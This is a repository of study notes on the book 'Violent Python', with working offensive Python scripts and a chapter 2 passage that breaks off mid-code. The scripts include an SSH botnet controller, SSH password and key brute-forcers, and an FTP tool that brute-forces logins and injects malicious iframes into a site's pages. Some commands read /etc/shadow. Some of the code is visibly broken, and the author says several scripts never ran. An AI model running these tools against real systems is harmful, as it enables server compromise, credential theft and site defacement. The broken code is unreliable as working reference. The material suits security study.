├── .gitignore ├── .idea ├── dictionaries │ └── L1n.xml ├── misc.xml ├── modules.xml ├── vcs.xml └── violent-python.iml ├── README.md ├── SUMMARY.md ├── python_script └── unit_2 │ ├── create_ssh_utm.py │ ├── ftp_hack.py │ ├── is_ftp_allow_anonymous.py │ ├── nmap_scan.py │ ├── port_scanner.py │ ├── ssh_brute_force.py │ ├── ssh_connect.py │ └── test_weak_ssh.py ├── 第1章入门.md ├── 第2章用Python进行渗透测试.md ├── 第3章用Python进行取证调查.md ├── 第4章用Python分析网络流量.md ├── 第5章用Python进行无线网络攻击.md ├── 第6章用Python刺探网络.md └── 第7章用Python实现免杀.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Node rules: 2 | ## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 3 | .grunt 4 | 5 | ## Dependency directory 6 | ## Commenting this out is preferred by some people, see 7 | ## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git 8 | node_modules 9 | 10 | # Book build output 11 | _book 12 | 13 | # eBook build output 14 | *.epub 15 | *.mobi 16 | *.pdf -------------------------------------------------------------------------------- /.idea/dictionaries/L1n.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | nmap 5 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/violent-python.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 使用 Python 成为顶级黑客 2 | 3 | 这是阅读 使用 Python 成为顶级黑客" 这本书时做的笔记 4 | 5 | 已经做成 [GitBook 形式](https://l1nwatch.gitbooks.io/violent-python/content/) 6 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | * [第 1 章 入门](第1章入门.md) 4 | * [第 2 章 用 Python 进行渗透测试](第2章用Python进行渗透测试.md) 5 | * [第 3 章 用 Python 进行取证调查](第3章用Python进行取证调查.md) 6 | * [第 4 章 用 Python 分析网络流量](第4章用Python分析网络流量.md) 7 | * [第 5 章 用 Python 进行无线网络攻击](第5章用Python进行无线网络攻击.md) 8 | * [第 6 章 用 Python 刺探网络](第6章用Python刺探网络.md) 9 | * [第 7 章 用 Python 实现免杀](第7章用Python实现免杀.md) 10 | -------------------------------------------------------------------------------- /python_script/unit_2/create_ssh_utm.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.02.01 按照书里给的代码, 依旧跑不了, 因为是 ssh 的... 6 | """ 7 | import optparse 8 | import pexpect.pxssh as pxssh 9 | 10 | __author__ = '__L1n__w@tch' 11 | 12 | bot_net = list() 13 | 14 | 15 | class Client: 16 | def __init__(self, host, user, password): 17 | self.host = host 18 | self.user = user 19 | self.password = password 20 | self.session = self.connect() 21 | 22 | def connect(self): 23 | try: 24 | s = pxssh.pxssh() 25 | s.login(self.host, self.user, self.password) 26 | return s 27 | except Exception as e: 28 | print(e) 29 | print("[-] Error Connecting") 30 | 31 | def send_command(self, cmd): 32 | self.session.sendline(cmd) 33 | self.session.prompt() 34 | return self.session.before 35 | 36 | 37 | def bot_net_command(command): 38 | for client in bot_net: 39 | output = client.send_command(command) 40 | print("[*] Output from {}".format(client.host)) 41 | print("[+] {}".format(output)) 42 | 43 | 44 | def add_client(host, user, password): 45 | client = Client(host, user, password) 46 | bot_net.append(client) 47 | 48 | 49 | if __name__ == "__main__": 50 | add_client("10.10.10.110", "root", "toor") 51 | add_client("10.10.10.120", "root", "toor") 52 | add_client("10.10.10.130", "root", "toor") 53 | bot_net_command("uname -v") 54 | bot_net_command("cat /etc/issue") 55 | -------------------------------------------------------------------------------- /python_script/unit_2/ftp_hack.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.02.02 整一遍 FTP 流程 6 | """ 7 | import ftplib 8 | import optparse 9 | import time 10 | 11 | __author__ = '__L1n__w@tch' 12 | 13 | 14 | def anon_login(hostname): 15 | try: 16 | ftp = ftplib.FTP(hostname) 17 | ftp.login("anonymous", "me@your.com") 18 | print("[*] {} FTP Anonymous Logon Succeeded.".format(hostname)) 19 | ftp.quit() 20 | return True 21 | except Exception as e: 22 | print("[-] {} FTP Anonymous Logon Failed.".format(hostname)) 23 | return False 24 | 25 | 26 | def brute_login(hostname, password_file): 27 | pf = open(password_file, "r") 28 | for line in pf.readlines(): 29 | time.sleep(1) 30 | user_name = line.split(":")[0] 31 | password = line.split(":")[1].strip("\r\n") 32 | print("[+] Trying: {}/{}".format(user_name, password)) 33 | 34 | try: 35 | ftp = ftplib.FTP(hostname) 36 | ftp.login(user_name, password) 37 | print("[*] {} FTP Logon Succeeded: {}/{}".format(hostname, user_name, password)) 38 | ftp.quit() 39 | return user_name, password 40 | except Exception as e: 41 | pass 42 | print("[-] Could not brute force FTP credentials.") 43 | return None, None 44 | 45 | 46 | def return_default(ftp): 47 | dir_list = list() 48 | try: 49 | dir_list = ftp.nlst() 50 | except: 51 | print("[-] Could not list directory contents.") 52 | print("[-] Skipping To Next Target.") 53 | return dir_list 54 | 55 | ret_list = list() 56 | for file_name in dir_list: 57 | fn = file_name.lower() 58 | if ".php" in fn or ".htm" in fn or ".asp" in fn: 59 | print("[+] Found default page: {}".format(file_name)) 60 | ret_list.append(file_name) 61 | 62 | return ret_list 63 | 64 | 65 | def inject_page(ftp, page, redirect): 66 | f = open("{}.tmp".format(page), "w") 67 | ftp.retrlines("RETR {}".format(page), f.write) 68 | print("[+] Downloaded Page: {}".format(page)) 69 | f.write(redirect) 70 | f.close() 71 | 72 | print("[+] Injected Malicious IFrame on: {}".format(page)) 73 | ftp.storlines("STOR {}".format(page), open("{}.tmp".format(page))) 74 | print("[+] Uploaded Injected Page: {}".format(page)) 75 | 76 | 77 | def attack(username, password, target_host, redirect): 78 | ftp = ftplib.FTP(target_host) 79 | ftp.login(username, password) 80 | def_pages = return_default(ftp) 81 | for def_page in def_pages: 82 | inject_page(ftp, def_page, redirect) 83 | 84 | 85 | def main(): 86 | parser = optparse.OptionParser("usage%prog -H -r [-f ]") 87 | 88 | parser.add_option("-H", dest="target_hosts", type=str, help="specify target host") 89 | parser.add_option("-f", dest="password_file", type=str, help="specify user/password file") 90 | parser.add_option("-r", dest="redirect", type=str, help="specify a redirection page") 91 | 92 | options, args = parser.parse_args() 93 | target_hosts = str(options.target_hosts).split(", ") 94 | password_file = options.password_file 95 | redirect = options.redirect 96 | 97 | if target_hosts is None or redirect is None: 98 | print(parser.usage) 99 | exit(-1) 100 | 101 | for target_host in target_hosts: 102 | username, password = None, None 103 | if anon_login(target_host): 104 | username, password = "test", "test" 105 | print("[+] Using Anonymous Creds to attack") 106 | attack(username, password, target_host, redirect) 107 | elif password_file is not None: 108 | username, password = brute_login(target_host, password_file) 109 | if password is not None: 110 | print("[+] Using Creds: {}/{} to attack".format(username, password)) 111 | attack(username, password, target_host, redirect) 112 | 113 | 114 | if __name__ == "__main__": 115 | main() 116 | -------------------------------------------------------------------------------- /python_script/unit_2/is_ftp_allow_anonymous.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.02.02 判断一个 FTP 服务器是否允许匿名访问 6 | """ 7 | import ftplib 8 | 9 | __author__ = '__L1n__w@tch' 10 | 11 | 12 | def anon_login(hostname): 13 | try: 14 | ftp = ftplib.FTP(hostname) 15 | ftp.login("test", "test") 16 | print("[*] {} FTP Anonymous Logon Succeeded.".format(host)) 17 | ftp.quit() 18 | return True 19 | except Exception as e: 20 | print("[-] {} FTP Anonymous Logon Failed.".format(host)) 21 | return False 22 | 23 | 24 | def return_default(ftp): 25 | dir_list = list() 26 | 27 | try: 28 | dir_list = ftp.nlst() 29 | except Exception as e: 30 | print(e) 31 | print("[-] Could not list directory contents.") 32 | print("[-] Skipping To Next Target.") 33 | return 34 | 35 | ret_list = list() 36 | for file_name in dir_list: 37 | fn = file_name.lower() 38 | if ".php" in fn or ".htm" in fn or ".asp" in fn: 39 | print("[+] Found default page: {}".format(file_name)) 40 | ret_list.append(file_name) 41 | return ret_list 42 | 43 | 44 | if __name__ == "__main__": 45 | host = "192.168.158.161" 46 | anon_login(host) 47 | 48 | test_ftp = ftplib.FTP(host) 49 | test_ftp.login("test", "test") 50 | return_default(test_ftp) 51 | test_ftp.close() 52 | -------------------------------------------------------------------------------- /python_script/unit_2/nmap_scan.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.01.31 按照书中给的代码示例, 使用 nmap 进行扫描操作 6 | """ 7 | import nmap 8 | import optparse 9 | 10 | __author__ = '__L1n__w@tch' 11 | 12 | 13 | def nmap_scan(target_host, target_port): 14 | nm_scan = nmap.PortScanner() 15 | nm_scan.scan(target_host, target_port) 16 | state = nm_scan[target_host]["tcp"][int(target_port)]["state"] 17 | print("[*] {} tcp/{} {}".format(target_host, target_port, state)) 18 | 19 | 20 | def main(): 21 | parser = optparse.OptionParser("usage %prog -H -p ") 22 | 23 | parser.add_option("-H", dest="target_host", type=str, help="specify target host") 24 | parser.add_option("-p", dest="target_port", type=str, help="specify target port[s] separated by comma") 25 | 26 | options, args = parser.parse_args() 27 | 28 | target_host = options.target_host 29 | target_ports = str(options.target_port).split(", ") 30 | 31 | if target_host is None or target_ports is None: 32 | print(parser.usage) 33 | exit(-1) 34 | 35 | for target_port in target_ports: 36 | nmap_scan(target_host, target_port) 37 | 38 | 39 | if __name__ == "__main__": 40 | main() 41 | -------------------------------------------------------------------------------- /python_script/unit_2/port_scanner.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.01.29 按照第 2 章编写一个端口扫描器 6 | """ 7 | import optparse 8 | import socket 9 | 10 | __author__ = '__L1n__w@tch' 11 | 12 | 13 | def initialize(): 14 | parser = optparse.OptionParser("usage %prog -H -p ") 15 | 16 | parser.add_option("-H", dest="target_host", type=str, help="specify target host") 17 | parser.add_option("-p", dest="target_port", type=int, help="specify target port") 18 | 19 | options, args = parser.parse_args() 20 | 21 | target_host = options.target_host 22 | target_port = options.target_port 23 | 24 | if target_host is None or target_port is None: 25 | print(parser.usage) 26 | exit(-1) 27 | 28 | return target_host, target_port 29 | 30 | 31 | def connect_scan(target_host, target_port): 32 | """ 33 | TCP 全连接扫描 34 | :param target_host: 目标主机 35 | :param target_port: 目标端口 36 | :return: 37 | """ 38 | try: 39 | conn_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | conn_sock.connect((target_host, target_port)) 41 | print("[+] {}/tcp open".format(target_port)) 42 | 43 | conn_sock.send(b"Violent Python") 44 | results = conn_sock.recv(1024) 45 | print("[+] Get Response: {}".format(results)) 46 | conn_sock.close() 47 | except socket.timeout: 48 | print("[-] {}/tcp closed or No Response".format(target_port)) 49 | 50 | 51 | def port_scan(target_host, target_ports): 52 | """ 53 | 执行端口扫描操作 54 | :param target_host: 目标主机 55 | :param target_ports: 目标端口列表 56 | :return: 57 | """ 58 | try: 59 | target_ip = socket.gethostbyname(target_host) 60 | except RuntimeError: 61 | print("[-] Can not resolve {}: Unknown host".format(target_host)) 62 | return 63 | 64 | try: 65 | target_name = socket.gethostbyaddr(target_ip) 66 | print("[+] Scan results for {}".format(target_name[0])) 67 | except RuntimeError: 68 | print("[+] Scan Results for {}".format(target_ip)) 69 | 70 | socket.setdefaulttimeout(1) 71 | 72 | for target_port in target_ports: 73 | print("[*] Scanning port {}".format(target_port)) 74 | connect_scan(target_host, target_port) 75 | 76 | 77 | if __name__ == "__main__": 78 | host, port = initialize() 79 | port_scan(host, [port]) 80 | -------------------------------------------------------------------------------- /python_script/unit_2/ssh_brute_force.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.01.31 ssh 爆破, 要使用到 pxssh 库, 但是没找到啊, 发现是藏在 pexpect 库里了, 依旧是连接不上 6 | """ 7 | import pexpect.pxssh as pxssh 8 | import optparse 9 | import time 10 | import threading 11 | 12 | __author__ = '__L1n__w@tch' 13 | 14 | max_connections = 5 15 | connection_lock = threading.BoundedSemaphore(value=max_connections) 16 | found = False 17 | fails = 0 18 | 19 | 20 | def connect(host, user, password, release): 21 | global found, fails 22 | try: 23 | s = pxssh.pxssh() 24 | s.login(host, user, password) 25 | print("[+] Password Found: {}".format(password)) 26 | found = True 27 | except Exception as e: 28 | if "read_nonblocking" in str(e): 29 | fails += 1 30 | time.sleep(5) 31 | connect(host, user, password, False) 32 | elif "synchronize with original prompt" in str(e): 33 | time.sleep(1) 34 | connect(host, user, password, False) 35 | finally: 36 | if release: 37 | connection_lock.release() 38 | 39 | 40 | def main(): 41 | parser = optparse.OptionParser("usage %prog -H -u -F ") 42 | parser.add_option("-H", dest="target_host", type=str, help="specifiy target host") 43 | parser.add_option("-F", dest="password_file", type=str, help="specifiy password file") 44 | parser.add_option("-u", dest="user", type=str, help="specifiy the user") 45 | 46 | options, args = parser.parse_args() 47 | target_host = options.target_host 48 | password_file = options.password_file 49 | user = options.user 50 | 51 | if target_host is None or password_file is None or user is None: 52 | print(parser.usage) 53 | exit(-1) 54 | 55 | with open(password_file, "r") as f: 56 | for line in f.readlines(): 57 | if found: 58 | print("[*] Exiing: Password Found") 59 | exit(0) 60 | if fails > 5: 61 | print("[!] Exiting: Too Many Socket Timeouts") 62 | exit(-1) 63 | connection_lock.acquire() 64 | password = line.strip("\r\n") 65 | print("[-] Testing: {}".format(password)) 66 | t = threading.Thread(target=connect, args=(host, user, password, True)) 67 | child = t.start() 68 | 69 | 70 | if __name__ == "__main__": 71 | main() 72 | -------------------------------------------------------------------------------- /python_script/unit_2/ssh_connect.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.01.31 进行 ssh 连接, [PS] 自己试了书中的代码没法成功连接上, 所以就仅供参考了 6 | """ 7 | import pexpect 8 | 9 | __author__ = '__L1n__w@tch' 10 | 11 | PROMPT = ["# ", ">>> ", "> ", "\$ "] 12 | 13 | 14 | def send_command(child, cmd): 15 | child.sendline(cmd) 16 | child.expect(PROMPT) 17 | print(child.before) 18 | 19 | 20 | def connect(user, host, password): 21 | ssh_new_key = "Are you sure you want to continue connecting" 22 | conn_str = "ssh {}@{}".format(user, host) 23 | child = pexpect.spawn(conn_str) 24 | ret = child.expect(pexpect.EOF[pexpect.TIMEOUT, ssh_new_key, "{}@{}'s password:".format(user, host)]) 25 | 26 | if ret == 0: 27 | print("[-] Error Connecting") 28 | exit(-1) 29 | elif ret == 1: 30 | child.sendline("yes") 31 | ret = child.expect([pexpect.TIMEOUT, "[P|p]assword:", pexpect.EOF]) 32 | if ret == 0: 33 | print("[-] Error Connecting") 34 | exit(-1) 35 | child.sendline(password) 36 | child.expect(PROMPT) 37 | return child 38 | else: 39 | print(child) 40 | exit(-1) 41 | 42 | 43 | if __name__ == "__main__": 44 | child = connect("root", "192.168.158.157", "toor") 45 | send_command(child, "cat /etc/shadow | grep root") 46 | -------------------------------------------------------------------------------- /python_script/unit_2/test_weak_ssh.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # version: Python3.X 4 | """ 5 | 2017.01.31 测试弱密钥的, 虽然依旧是跑不了... 6 | """ 7 | import pexpect 8 | import optparse 9 | import os 10 | import threading 11 | 12 | __author__ = '__L1n__w@tch' 13 | 14 | max_connections = 5 15 | connection_lock = threading.BoundedSemaphore(value=max_connections) 16 | stop = False 17 | fails = 0 18 | 19 | 20 | def connect(user, host, key_file, release): 21 | global stop, fails 22 | try: 23 | perm_denied = "Permission denied" 24 | ssh_new_key = "Are you sure you want to continue" 25 | conn_closed = "Connection closed by remote host" 26 | 27 | opt = " -o PasswordAuthentication=no" 28 | conn_str = "ssh {}@{} -i {}{}".format(user, host, key_file, opt) 29 | child = pexpect.spawn(conn_str) 30 | ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_new_key, conn_closed, "$", "#", ]) 31 | if ret == 2: 32 | print("[-] Adding Host to !/.ssh/known_hosts") 33 | child.sendline("yes") 34 | connect(user, host, key_file, False) 35 | elif ret == 3: 36 | print("[-] Connection Closed By Remote Host") 37 | fails += 1 38 | elif ret > 3: 39 | print("[+] Success. {}".format(key_file)) 40 | stop = True 41 | finally: 42 | if release: 43 | connection_lock.release() 44 | 45 | 46 | def main(): 47 | parser = optparse.OptionParser("usage %prog -H -u -d ") 48 | parser.add_option("-H", dest="target_host", type=str, help="specify target host") 49 | parser.add_option("-d", dest="pass_dir", type=str, help="specify directory with keys") 50 | parser.add_option("-u", dest="user", type=str, help="specify the user") 51 | 52 | options, args = parser.parse_args() 53 | target_host = options.target_host 54 | pass_dir = options.pass_dir 55 | user = options.user 56 | 57 | if target_host is None or pass_dir is None or user is None: 58 | print(parser.usage) 59 | exit(-1) 60 | 61 | for file_name in os.listdir(pass_dir): 62 | if stop: 63 | print("[*] Exiting: Key Found.") 64 | exit(0) 65 | if fails > 5: 66 | print("[!] Exiting: Too Many Connections Closed By Remote Host.") 67 | print("[!] Adjust number of simultaneous threads.") 68 | exit(0) 69 | connection_lock.acquire() 70 | 71 | full_path = os.path.join(pass_dir, file_name) 72 | print("[-] Testing keyfile {}".format(full_path)) 73 | t = threading.Thread(target=connect, args=(user, target_host, full_path, True)) 74 | child = t.start() 75 | 76 | 77 | if __name__ == "__main__": 78 | main() 79 | -------------------------------------------------------------------------------- /第1章入门.md: -------------------------------------------------------------------------------- 1 | # 第 1 章 入门 2 | 3 | ## 第一个程序: UNIX 口令破解机 4 | 5 | 需要使用 UNIX 计算口令 hash 的 crypt() 算法,可以看到 Python 标准库中已自带 crypt 6 | 7 | ```python 8 | import crypt 9 | crypt.crypt("egg", "HX") # => word, salt 10 | ``` 11 | 12 | 在基于 `*Nix` 的现代操作系统中,`/etc/shadow` 文件中存储了口令的 hash,并能使用更多安全的 hash 算法 13 | 14 | ## 第二个程序:一个 Zip 文件口令破解机 15 | 16 | 需要学习 zipfile 库,其中有 `extractall()` 方法,用可选参数指定密码 17 | 18 | ```python 19 | import zipfile 20 | zFile = zipfile.ZipFile("evil.zip") 21 | zFile.extractall(pwd="secret") 22 | ``` 23 | 24 | 如果用错误的口令执行脚本,可以看到抛出异常了 25 | 26 | 可以利用线程同时测试多个口令,而不是只能逐个测试词库中的单词 27 | 28 | ```python 29 | import zipfile 30 | from threading import Thread 31 | def extractFile(zFile, password): 32 | try: 33 | zFile.extractall(pwd=password) 34 | print("[+] Found password {}".format(password)) 35 | except: 36 | pass 37 | 38 | def main(): 39 | zFile = zipfile.ZipFile("evil.zip") 40 | passFile = open("dictionary.txt") 41 | for line in passFile.readlines(): 42 | password = line.strip("\n") 43 | t = Thread(target=extractFile, args=(zFile, password)) 44 | t.start() 45 | ``` 46 | 47 | 还可以用 optparse 库提供参数选择 48 | 49 | ```python 50 | import zipfile 51 | import optparse 52 | from threading import Thread 53 | def extractFile(zFile, password): 54 | try: 55 | zFile.extractall(pwd=password) 56 | print("[+] Found password {}".format(password)) 57 | except: 58 | pass 59 | 60 | def main(): 61 | parser = optparse.OptionParser("usage%prog -f -d ") 62 | parser.add_option("-f", dest="zname", type="string", help="specify zip file") 63 | parser.add_option("-d", dest="dname", type="string", help="specify dictionary file") 64 | 65 | (options, args) = parser.parse_args() 66 | if (options.zname == None) | (options.dname == None): 67 | print(parser.usage) 68 | exit(0) 69 | else: 70 | zname = options.zname 71 | dname = options.dname 72 | 73 | zFile = zipfile.ZipFile(zname) 74 | passFile = open(dname) 75 | for line in passFile.readlines(): 76 | password = line.strip("\n") 77 | t = Thread(target=extractFile, args=(zFile, password)) 78 | t.start() 79 | ``` 80 | 81 | -------------------------------------------------------------------------------- /第2章用Python进行渗透测试.md: -------------------------------------------------------------------------------- 1 | # 第 2 章 用 Python 进行渗透测试 2 | 3 | ## 编写一个端口扫描器 4 | 5 | Python 提供了访问 BSD 套接字的接口 6 | 7 | Web 服务器可能位于 TCP 80 端口、电子邮件服务器在 TCP 25 端口、FTP 服务器在 TCP 21 端口 8 | 9 | ### TCP 全连接扫描 10 | 11 | 为了抓取目标主机上应用的 Banner,找到开放的端口后,向它发送一个数据串并等待响应 12 | 13 | ```python 14 | #!/bin/env python3 15 | # -*- coding: utf-8 -*- 16 | # version: Python3.X 17 | """ 18 | 2017.01.29 按照第 2 章编写一个端口扫描器 19 | """ 20 | import optparse 21 | import socket 22 | 23 | __author__ = '__L1n__w@tch' 24 | 25 | 26 | def initialize(): 27 | parser = optparse.OptionParser("usage %prog -H -p ") 28 | 29 | parser.add_option("-H", dest="target_host", type=str, help="specify target host") 30 | parser.add_option("-p", dest="target_port", type=int, help="specify target port") 31 | 32 | options, args = parser.parse_args() 33 | 34 | target_host = options.target_host 35 | target_port = options.target_port 36 | 37 | if target_host is None or target_port is None: 38 | print(parser.usage) 39 | exit(-1) 40 | 41 | return target_host, target_port 42 | 43 | 44 | def connect_scan(target_host, target_port): 45 | """ 46 | TCP 全连接扫描 47 | :param target_host: 目标主机 48 | :param target_port: 目标端口 49 | :return: 50 | """ 51 | try: 52 | conn_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | conn_sock.connect((target_host, target_port)) 54 | print("[+] {}/tcp open".format(target_port)) 55 | 56 | conn_sock.send(b"Violent Python") 57 | results = conn_sock.recv(1024) 58 | print("[+] Get Response: {}".format(results)) 59 | conn_sock.close() 60 | except socket.timeout: 61 | print("[-] {}/tcp closed".format(target_port)) 62 | 63 | 64 | def port_scan(target_host, target_ports): 65 | """ 66 | 执行端口扫描操作 67 | :param target_host: 目标主机 68 | :param target_ports: 目标端口列表 69 | :return: 70 | """ 71 | try: 72 | target_ip = socket.gethostbyname(target_host) 73 | except RuntimeError: 74 | print("[-] Can not resolve {}: Unknown host".format(target_host)) 75 | return 76 | 77 | try: 78 | target_name = socket.gethostbyaddr(target_ip) 79 | print("[+] Scan results for {}".format(target_name[0])) 80 | except RuntimeError: 81 | print("[+] Scan Results for {}".format(target_ip)) 82 | 83 | socket.setdefaulttimeout(1) 84 | 85 | for target_port in target_ports: 86 | print("[*] Scanning port {}".format(target_port)) 87 | connect_scan(target_host, target_port) 88 | 89 | 90 | if __name__ == "__main__": 91 | host, port = initialize() 92 | port_scan(host, [port]) 93 | 94 | ``` 95 | 96 | #### 线程扫描 97 | 98 | 多线程可以提升速度,但是有一个缺点,屏幕打印消息可能会出现乱码和失序。因此需要信号量来进行加解锁,在打印消息前使用 `acquire()`,打印结束后使用 `release()` 99 | 100 | ```python 101 | screen_lock = Semaphore(value=1) 102 | try: 103 | screen_lock.acquire() 104 | print("print anything") 105 | finally: 106 | screen_lock.release() 107 | ``` 108 | 109 | #### 使用 NMAP 端口扫描代码 110 | 111 | 除了 TCP 连接扫描外,还需要其他类型的扫描,比如 ACK、RST、FIN 或 SYN-ACK 扫描等 112 | 113 | Fyodor Vaskovich 编写的 Nmap 能使用 C 和 Lua 编写的脚本,但是 Nmap 还能被很好地整合到 Python 中。Nmap 可以生成基于 XML 的输出。 114 | 115 | ##### 其他端口扫描类型 116 | 117 | * TCP SYN SCAN——半开放扫描,这种类型的扫描发送一个 SYN 包,启动一个 TCP 会话,并等待响应的数据包。如果收到的是一个 reset 包,表明端口是关闭的,而如果收到的是一个 SYN/ACK 包,则表示相应的端口是打开的 118 | * TCP NULL SCAN——NULL 扫描把 TCP 头中的所有标志位都设为 NULL。如果收到的是一个 RST 包,则表示相应的端口是关闭的 119 | * TCP FIN SCAN——TCP FIN 扫描发送一个表示拆除一个活动的 TCP 连接的 FIN 包,让对方关闭连接。如果收到了一个 RST 包,则表示相应的端口是关闭的 120 | * TCP XMAS SCAN——TCP XMAS 扫描发送 PSH、FIN、URG 和 TCP 标志位被设为 1 的数据包。如果收到了一个 RST 包,则表示相应的端口是关闭的 121 | 122 | *** 123 | 124 | 安装好 Python-Nmap 之后,就可以将 Nmap 导入到现有的脚本中,并在 Python 中直接使用 Nmap 扫描功能。创建一个 PortScanner() 类对象,则可以用这个对象完成扫描操作。PortScanner 类有一个 `scan()` 函数,它可将目标和端口的列表作为参数输入,并对它们进行基本的 Nmap 扫描。 125 | 126 | ```python 127 | import nmap 128 | 129 | def nmap_scan(target_host, target_port): 130 | nm_scan = nmap.PortScanner() 131 | nm_scan.scan(target_host, target_port) 132 | state = nm_scan[target_host]["tcp"][int(target_port)]["state"] 133 | print("[*] {} tcp/{} {}".format(target_host, target_port, state)) 134 | ``` 135 | 136 | ## 用 Python 构建一个 SSH 僵尸网络 137 | 138 | Morris 蠕虫有三种攻击方式,其中之一就是用常见的用户名和密码尝试登录 RSH 服务(remote shell)。RSH 是 1988 年问世的,它为系统管理员提供了一种很棒的远程连接一台机器,并能在主机上运行一系列终端命令对它进行管理的办法。 139 | 140 | 后来人们在 RSH 中增加一个公钥加密算法,以保护其经过网络传递的数据,这就是 SSH(Secure Shell)协议,最终 SSH 取代了 RSH。 141 | 142 | SSH 蠕虫已经被证明是非常成功的和常见的攻击方式 143 | 144 | ### 用 Pexpect 与 SSH 交互 145 | 146 | 为了能完成控制台交互过程,需要用 Pexpect 模块实现与程序交互、等待预期的屏幕输出等。 147 | 148 | 以下实现 `connect()` 函数,该函数接收用户名、主机名和密码,返回此 SSH 连接的结果。 149 | 150 | 一旦通过验证,就可以使用一个单独的 `command()` 函数在 SSH 会话中发送命令。 151 | 152 | 【PS】下面这个在 macOSX 上就没跑通过,相关问题[链接](http://stackoverflow.com/questions/17879585/eof-when-using-pexpect-and-pxssh) 153 | 154 | ```python 155 | import pexpect 156 | 157 | PROMPT = ["# ", ">>> ", "> ", "\$ "] 158 | 159 | def send_command(child, cmd): 160 | child.sendline(cmd) 161 | child.expect(PROMPT) 162 | print(child.before) 163 | 164 | def connect(user, host, password): 165 | ssh_new_key = "Are you sure you want to continue connecting\n" 166 | conn_str = "ssh {}@{}\n".format(user, host) 167 | child = pexpect.spawn(conn_str) 168 | ret = child.expect([pexpect.TIMEOUT, ssh_new_key, "{}@{}'s password:".format(user, host)]) 169 | 170 | if ret == 0: 171 | print("[-] Error Connecting") 172 | exit(-1) 173 | elif ret == 1: 174 | child.sendline("yes") 175 | ret = child.expect([pexpect.TIMEOUT, "[P|p]assword:"]) 176 | if ret == 0: 177 | print("[-] Error Connecting") 178 | exit(-1) 179 | child.sendline(password) 180 | child.expect(PROMPT) 181 | return child 182 | else: 183 | print(child) 184 | exit(-1) 185 | 186 | if __name__ == "__main__": 187 | child = connect("root", "192.168.158.157", "toor") 188 | send_command(child, "cat /etc/shadow | grep root") 189 | ``` 190 | 191 | ### 用 Pxssh 暴力破解 ssh 密码 192 | 193 | Pxssh 导入方式:`import pexpect.pxssh` 194 | 195 | Pxssh 是一个包含了 `pexpect` 库的专用脚本,它能用预先写好的 `login()`、`logout()` 和 `prompt()` 等函数直接与 `SSH` 进行交互。 196 | 197 | 【PS】以下仅实现了连接功能,但是依旧连接不上,问题同上。 198 | 199 | ```python 200 | import pexpect.pxssh as pxssh 201 | import traceback 202 | 203 | def send_command(s, cmd): 204 | s.sendline(cmd) 205 | s.prompt() 206 | print(s.before) 207 | 208 | def connect(host, user, password): 209 | try: 210 | s = pxssh.pxssh() 211 | s.login(host, user, password) 212 | return s 213 | except Exception as e: 214 | traceback.print_exc() 215 | print("[-] Error Connecting") 216 | exit(-1) 217 | 218 | if __name__ == "__main__": 219 | ssh = connect("localhost", "root", "Lin982674") 220 | send_command(ssh, "cat /etc/shadow | grep root") 221 | ``` 222 | 223 | 接下来稍微修改下 `connect()` 函数即可实现爆破。如果异常显示 socket 为 `read_nonblocking`,可能是 SSH 服务器被大量的连接刷爆了;如果该异常显示 `pxssh` 命令提示符提取困难,可以等一会再试。这里实现的 `connect()` 可以递归地调用另一个 `connect()` 函数,所以必须让只有不是由 `connect()` 递归调用的 `connect()` 函数才能够释放 `connection_lock` 信号,书中给的最终脚本如下: 224 | 225 | ```python 226 | import pexpect.pxssh as pxssh 227 | import optparse 228 | import time 229 | import threading 230 | 231 | max_connections = 5 232 | connection_lock = threading.BoundedSemaphore(value=max_connections) 233 | found = False 234 | fails = 0 235 | 236 | def connect(host, user, password, release): 237 | global found, fails 238 | try: 239 | s = pxssh.pxssh() 240 | s.login(host, user, password) 241 | print("[+] Password Found: {}".format(password)) 242 | found = True 243 | except Exception as e: 244 | if "read_nonblocking" in str(e): 245 | fails += 1 246 | time.sleep(5) 247 | connect(host, user, password, False) 248 | elif "synchronize with original prompt" in str(e): 249 | time.sleep(1) 250 | connect(host, user, password, False) 251 | finally: 252 | if release: 253 | connection_lock.release() 254 | 255 | def main(): 256 | parser = optparse.OptionParser("usage %prog -H -u -F ") 257 | parser.add_option("-H", dest="target_host", type=str, help="specifiy target host") 258 | parser.add_option("-F", dest="password_file", type=str, help="specifiy password file") 259 | parser.add_option("-u", dest="user", type=str, help="specifiy the user") 260 | 261 | options, args = parser.parse_args() 262 